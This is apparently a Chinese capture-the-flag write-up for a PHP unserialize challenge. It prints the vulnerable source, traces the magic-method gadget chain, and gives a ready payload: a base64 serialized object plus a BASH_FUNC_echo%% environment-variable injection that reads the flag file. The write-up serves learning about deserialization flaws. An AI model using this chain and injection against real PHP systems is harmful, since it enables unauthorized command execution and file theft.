Not just unserialize 环境变量注入
题目描述:RUN ln -sf /bin/bash /bin/sh
这条Docker命令 RUN ln -sf /bin/bash /bin/sh 在构建Docker镜像时执行,用于在Linux环境下创建或更新一个符号链接,即它会将 /bin/sh 指向 /bin/bash。
RUN: Dockerfile中的指令,用于在镜像构建过程中执行命令。
ln: Linux命令,用于创建链接,包括硬链接和符号链接。
-sf:
-s: 指定创建的是符号链接,而不是硬链接。符号链接类似于Windows中的快捷方式,指向另一个文件。
-f: 强制执行。如果目标文件(在这个例子中是 /bin/sh)已存在,它将被无提示删除并重新创建链接。这确保了即使 /bin/sh 已存在,链接也会被更新为指向 /bin/bash。
/bin/bash: 这是链接的目标,即当你访问或执行 /bin/sh 时,实际上是访问或执行的文件。
/bin/sh: 这是要创建或更新的符号链接的路径。
在许多Linux发行版中,/bin/sh 默认可能指向不同的Shell,如dash或其他轻量级Shell。
这个命令确保在Docker镜像中,当任何过程或脚本尝试通过/bin/sh执行Shell脚本时,实际使用的是Bash Shell,而不是系统默认的Shell。
题目的源码
<?php
highlight_file(__FILE__);
class start
{
public $welcome;
public $you;
public function __destruct()
{
$this->begin0fweb();
}
public function begin0fweb()
{
$p='hacker!';
$this->welcome->you = $p;
}
}
class SE{
public $year;
public function __set($name, $value){
echo ' Welcome to new year! ';
echo($this->year);
}
}
class CR {
public $last;
public $newyear;
public function __tostring() {
if (is_array($this->newyear)) {
echo 'nonono';
return false;
}
if (!preg_match('/worries/i',$this->newyear))
{
echo "empty it!";
return 0;
}
if(preg_match('/^.*(worries).*$/',$this->newyear)) {
echo 'Don\'t be worry';
} else {
echo 'Worries doesn\'t exists in the new year ';
empty($this->last->worries);
}
return false;
}
}
class ET{
public function __isset($name)
{
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}
system("echo \"Haven't you get the secret?\"");
}
}
if(isset($_REQUEST['go'])){
unserialize(base64_decode($_REQUEST['go']));
}
?>
首先链子还是很简单的//start::__destruct()->start::begin0fweb()->SE::__set()->CR::__tostring()->ET::__isset()
主要是在empty这里,它可以触发__isset
本题还有一个知识点,那就是环境变量注入,因为后面是echo
所以我们这里这样传参,
?get[BASH_FUNC_echo%25%25]=() { tac /ffffllllllaaaaaaaaaaaaaaaaaaggggg; }; go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9
注意这里的编码问题